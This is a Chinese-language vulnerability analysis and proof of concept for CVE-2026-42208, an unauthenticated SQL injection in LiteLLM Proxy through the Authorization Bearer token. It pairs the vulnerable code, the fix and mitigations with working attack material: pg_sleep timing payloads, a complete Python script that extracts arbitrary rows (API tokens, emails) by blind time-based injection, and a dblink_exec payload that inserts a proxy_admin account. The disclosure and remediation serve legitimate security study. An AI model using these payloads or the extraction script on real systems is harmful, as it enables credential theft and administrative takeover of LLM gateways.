漏洞利用 CVE-2026-42208:LiteLLM 通过 Bearer 令牌实现未授权 SQL 注入
对 CVE-2026-42208 的技术剖析:这是 LiteLLM Proxy API 中一个 CVSS 9.3 的严重未授权 SQL 注入漏洞。用于复杂多表连接的原始 SQL 查询未对 Bearer 令牌进行正确的参数化,从而允许基于布尔的盲注时间攻击,使未授权攻击者能够直接从数据库中窃取敏感数据,包括虚拟 API 密钥、用户信息以及 LLM 消费日志。
LiteLLM 未授权 SQL 注入 —— PoC 与漏洞利用
2026 年 5 月 22 日 · CVSS 9.3 严重 · LiteLLM Proxy
| CVE ID | CVSS | Affected | Fixed |
|---|---|---|---|
| CVE-2026-42208 | 9.3 Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | >= 1.81.16, < 1.83.7 | 1.83.7+ |
CVE-2026-42208 概述:通过 Bearer 令牌实现的 SQLi
LiteLLM 是一个被广泛采用的开源 AI 代理与网关,它让开发者能够通过统一接口,管理数百家 LLM 提供商(OpenAI、Anthropic、Gemini 等)的访问、路由与消费跟踪。
研究人员在 LiteLLM 验证用户身份验证令牌的方式中,发现了一个严重的未授权 SQL 注入(SQLi)漏洞。当应用程序尝试向该代理发起 API 调用(例如 /v1/chat/completions)时,它会在 Authorization: Bearer <key> 头中传入一个虚拟 API 密钥。虽然 Prisma ORM 会对标准查询进行安全的参数化处理,但有一个专门用于收集完整用户与团队元数据的复杂数据库查询,却手动将原始的、未经净化的令牌拼接进了一条原始 SQL 字符串。这一疏忽使得未授权攻击者能够向后端 PostgreSQL 数据库注入任意 SQL 命令。
漏洞本质:原始 SQL 字符串拼接
该漏洞的根本原因位于身份验证中间件中,具体是在 litellm/proxy/utils.py 文件内的 get_data() 函数之中。
身份验证流程与缺陷
1. 正常流程(合法用户)
当合法用户使用有效的代理密钥(例如 sk-abc123xyz)发起请求时,LiteLLM 会提取该令牌并检查它是否以 "sk-" 前缀开头。由于确实以此开头,应用程序会计算该令牌的 SHA-256 哈希值,并仅将哈希值转发给数据库层。
2. 攻击流程(SQL 注入)
当攻击者提供类似 ' OR (SELECT pg_sleep(3)) IS NULL -- 这样的恶意载荷时,应用程序同样会检查 "sk-" 前缀。由于该载荷并不以 "sk-" 开头,哈希逻辑被完全绕过。应用程序错误地认为这只是某种遗留或自定义令牌格式,于是将原始的、未经哈希处理的 SQL 载荷直接转发给了数据库层。
存在漏洞的代码
为了构建一份关于用户令牌、团队、项目、组织以及预算限额的“组合视图”,开发者由于所需的 LEFT JOIN 操作过于复杂,选择使用 db.query_raw 而非标准的 ORM 函数。
在 litellm/proxy/utils.py 中:
elif table_name == "combined_view":
# ...
if query_type == "find_unique":
# ...
sql_query = f"""
SELECT
v.*,
t.spend AS team_spend,
t.max_budget AS team_max_budget,
t.soft_budget AS team_soft_budget,
t.tpm_limit AS team_tpm_limit,
t.rpm_limit AS team_rpm_limit,
t.models AS team_models,
-- [Multiple other SELECTs and JOINs]
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
-- ...
WHERE v.token = '{token}'
"""
response = await self._query_first_with_cached_plan_fallback(sql_query)
由于使用了 Python 的 f-string(f"""... WHERE v.token = '{token}'"""),{token} 变量被直接拼接进 SQL 语句中。在缺乏正确的参数化绑定(例如传入 $1)的情况下,任何由用户控制、包含单引号(')的字符串都会突破 SQL 字符串字面量,从而导致 SQL 注入。
概念验证:盲 SQL 注入与时间攻击
由于 LiteLLM API 期望从这条查询中返回一个有效的令牌对象,任何被注入的查询最终都会导致身份验证失败(401 Unauthorized),从而将数据库的直接输出从 HTTP 响应中隐藏起来。为了提取数据,攻击者必须依赖基于布尔的盲注时间攻击。
测试环境搭建
为了安全地验证该漏洞,研究人员使用存在漏洞的 main-v1.83.6-nightly 镜像,连接到一个 PostgreSQL 16 后端,搭建了一个本地 Docker 实验环境:
docker-compose.yml(片段)
services:
litellm:
image: ghcr.io/berriai/litellm:main-v1.83.6-nightly
ports:
- "4000:4000"
environment:
- DATABASE_URL=postgresql://llmproxy:dbpassword9090@db:5432/litellm
载荷投递
通过注入 PostgreSQL 的 pg_sleep() 函数,攻击者可以强制数据库暂停执行,并以 HTTP 响应时间作为真/假判断的预言机(oracle)。
一个用于确认漏洞的简单 PoC 载荷:
' OR (SELECT pg_sleep(3)) IS NULL --
当它被放入 Authorization: Bearer 头中时,后端会执行:
WHERE v.token = '' OR (SELECT pg_sleep(3)) IS NULL --'
这会迫使服务器响应产生 3 秒的延迟,从而确认了注入点的存在。
通过二分查找提取数据(PoC)
攻击者可以通过向数据库提出一系列真/假问题,系统性地提取整个数据库——包括 LiteLLM_SpendLogs(包含详细的提示词使用记录)与 LiteLLM_VerificationToken(包含经过哈希处理的 API 凭据)。
借助二分查找算法,攻击者可以逐一猜测目标数据每个字符的 ASCII 值。下面是一个完整、可配置的 Python 概念验证脚本,它将这种时间攻击自动化,用于从任意表中提取任意一行数据:
import argparse
import json
import sys
import time
import urllib.request
def test_payload(url, token, sleep_time):
body = json.dumps({"model": "fake", "messages": [{"role": "user", "content": "x"}]}).encode()
req = urllib.request.Request(url, data=body, method="POST",
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"})
start = time.time()
try: urllib.request.urlopen(req, timeout=sleep_time + 1)
except: pass
return time.time() - start
def extract_string(url, query, sleep_time=1.0):
extracted = ""
idx = 1
while True:
# Check end of string
check_end = f"' OR (LENGTH(({query})) < {idx} AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
if test_payload(url, check_end, sleep_time) >= sleep_time:
break
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = f"' OR (ASCII(SUBSTRING(({query}), {idx}, 1)) > {mid} AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
if test_payload(url, payload, sleep_time) >= sleep_time:
low = mid + 1
else:
high = mid - 1
extracted += chr(low)
sys.stdout.write(chr(low))
sys.stdout.flush()
idx += 1
print()
return extracted
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="LiteLLM Blind SQLi Data Extractor")
parser.add_argument("--url", default="http://127.0.0.1:4000/v1/chat/completions")
parser.add_argument("--table", default="LiteLLM_VerificationToken", help="Table to extract from")
parser.add_argument("--column", default="token", help="Column to extract")
parser.add_argument("--row", type=int, default=0, help="Row index (OFFSET)")
args = parser.parse_args()
query = f"SELECT {args.column} FROM \"{args.table}\" LIMIT 1 OFFSET {args.row}"
print(f"[*] Extracting: {query}")
extract_string(args.url, query)
运行该脚本可成功地从后端逐字符提取数据,包括存储在用户数据库中的电子邮件地址:

图 1:通过盲 SQLi 时间攻击从 LiteLLM 用户数据库中提取用户电子邮件的 PoC 执行过程。
消费日志泄露
在本次分析过程中,一个有趣的次要发现揭示:虽然 LiteLLM 会将合法的 sk- 令牌以 SHA-256 哈希的形式安全地存储在 LiteLLM_VerificationToken 表中,但它却会在无意间将无效密钥的未哈希原始载荷记录到 LiteLLM_SpendLogs 表中。合法密钥在日志中仍保持安全的哈希状态,但这一行为为攻击者的 SQL 注入尝试创建了一份完整的审计轨迹。
高级升级:RCE 与绕过 ORM 防护(值得了解)
通常情况下,攻击者会利用 SQL 注入来修改数据或提升权限,手段是使用“堆叠查询”(即用分号 ; 分隔多条语句,例如 SELECT ... ; INSERT ...)。
在本环境中,Prisma ORM 驱动程序严格阻止堆叠查询,看似将攻击者困在了只读的 SELECT 上下文中。然而,根据 PostgreSQL 的配置与扩展情况,攻击者可以将其显著升级:
1. 通过 COPY TO PROGRAM 实现 RCE
如果数据库被错误配置为以 superuser(例如 postgres)身份运行,攻击者就可以通过攻击宿主操作系统,绕过无法执行 INSERT/UPDATE 的限制。利用 PostgreSQL 的 COPY TO PROGRAM 功能,或 pg_read_file() 等文件读取函数,攻击者可以窃取敏感文件(如 SSH 密钥或环境变量),或在数据库服务器上实现完全的远程代码执行(RCE)。
2. 通过 dblink 绕过堆叠查询限制
在启用了 PostgreSQL dblink 扩展的环境中(这是一个用于跨数据库查询的常见扩展),ORM 对堆叠查询的防御可被完全绕过。通过向 SELECT 语句中注入 dblink_exec() 函数,攻击者可以强制数据库对自身开启一个新的、独立的连接,并执行任意 INSERT 命令:
' OR (SELECT dblink_exec('dbname=litellm ...', 'INSERT INTO "LiteLLM_UserTable" (user_email, password, user_role, ...) VALUES (''hacked@lab.local'', ''scrypt:...'', ''proxy_admin'', ...)')) IS NOT NULL --
尽管 dblink 并非在所有 PostgreSQL 环境中默认启用,但它凸显了一条强大的升级路径——它能将一个只读的数据窃取漏洞转变为对 LiteLLM 控制台的完全管理员级接管。
LiteLLM 1.83.7 中的修复
修补后的行为移除了危险的原始字符串拼接。开发者不再将 {token} 直接插入 f-string 中,而是将查询更新为使用参数化绑定($1),从而安全地将攻击者的载荷与 SQL 语法隔离开来:
# Fixed Code (LiteLLM 1.83.7+)
sql_query = """
SELECT
v.*,
t.spend AS team_spend,
...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
WHERE v.token = $1
"""
response = await self._query_first_with_cached_plan_fallback(sql_query, token)
经过这一改动后,数据库驱动程序会将该载荷纯粹视为字符串字面量,从而阻止任何注入字符改变查询逻辑。
立即缓解措施
如果无法立即升级,您可以采用官方的临时解决方案:在 litellm_config.yaml 的 general_settings 下设置 disable_error_logs: true。该配置会移除那条使未授权输入得以抵达存在漏洞的数据库查询的特定错误处理路径,从而有效地中和该攻击向量。
修复建议
- 立即更新: 请立即将您的 LiteLLM 实例升级至最新的已修补版本(v1.83.7 或更高)。调用方提供的值现在会作为一个独立的、参数化的变量安全地传入数据库。
- 使用参数化查询: 开发者在构建 SQL 查询时必须避免使用字符串拼接(
f"...")。始终依赖 ORM 函数,或对原始查询使用参数化绑定($1),以防止 SQL 解析被操纵。 - 数据库加固: 数据库管理员应主动移除或限制
dblink等 PostgreSQL 扩展,除非确有必要。此外,应确保数据库用户(例如llmproxy)以所需的绝对最小权限运行,严格禁止其获得超级用户访问权限或COPY TO PROGRAM文件执行权限。 - 监控日志: 审计
LiteLLM_SpendLogs与数据库慢查询日志,排查是否存在异常的pg_sleep延迟,或在api_key字段中出现的原始 SQL 载荷。
参考资料
- GitHub 安全公告(GHSA-r75f-5x8p-qvmc):https://github.com/advisories/GHSA-r75f-5x8p-qvmc
- LiteLLM v1.83.7-stable 版本发布:https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable
- NVD CVE-2026-42208:https://nvd.nist.gov/vuln/detail/CVE-2026-42208
- PostgreSQL dblink 文档:https://www.postgresql.org/docs/current/dblink.html
- PostgreSQL COPY 文档:https://www.postgresql.org/docs/current/sql-copy.html
- CWE-89:SQL 命令中输入的不当净化:https://cwe.mitre.org/data/definitions/89.html